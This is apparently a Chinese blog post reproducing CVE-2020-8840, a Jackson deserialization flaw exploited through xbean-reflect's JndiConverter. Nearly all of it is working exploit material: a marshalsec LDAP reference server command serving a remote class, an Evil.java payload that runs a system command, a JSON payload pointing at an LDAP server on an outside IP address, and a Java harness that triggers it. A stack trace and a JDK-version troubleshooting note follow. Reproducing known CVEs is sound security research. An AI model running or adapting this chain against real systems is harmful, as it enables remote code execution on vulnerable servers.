CVE-2020-8840复现（xbean-reflect利用链）

搭建环境

下载marshalsec并编译，启动jndi环境

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://www.youi.xin/#Evil

编写Evil.java,内容如下：

public class Evil {
    public Evil(){
        try{
            Runtime.getRuntime().exec("cmd.exe \c calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Evil e = new Evil();
    }
}

编译为class文件，并放到WEB中

javac Evil.java

漏洞演示

poc如下：
[“org.apache.xbean.propertyeditor.JndiConverter”, {“asText”:“ldap://47.100.32.193:1389/Evil”}]
漏洞演示：

package xin.youi;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Main {

    public static void main(String[] args) {
	// write your code here
         ObjectMapper mapper = new ObjectMapper();
         mapper.enableDefaultTyping();
         String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://47.100.32.193:1389/Evil\"}]";
         try {
             mapper.readValue(json,Object.class);
         } catch (IOException e){
             e.printStackTrace();
         }
    }
}

结果：

遇到的问题

在使用jdk8复现时出现了如下异常

com.fasterxml.jackson.databind.JsonMappingException: javax.naming.Reference cannot be cast to javax.naming.Context
 at [Source: (String)"["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://47.100.32.193:1389/Evil"}]"; line: 1, column: 61] (through reference chain: org.apache.xbean.propertyeditor.JndiConverter["asText"])
	at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:278)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:611)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:599)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:143)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:288)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:151)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:71)
	at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:712)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:68)
	at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4013)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3004)
	at xin.youi.Main.main(Main.java:14)
Caused by: java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.naming.Context
	at org.apache.xbean.propertyeditor.JndiConverter.toObjectImpl(JndiConverter.java:35)
	at org.apache.xbean.propertyeditor.AbstractConverter.toObject(AbstractConverter.java:86)
	at org.apache.xbean.propertyeditor.AbstractConverter.setAsText(AbstractConverter.java:59)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:141)
	... 9 more

后来发现

jdk8的classloader为sun.misc.Launcher$AppClassLoader

jdk9的classloader为jdk.internal.loader.ClassLoaders$AppClassLoader

就报错信息看是在调用Method.invoke时导致错误（具体原因不明）
换成JDK9后成功。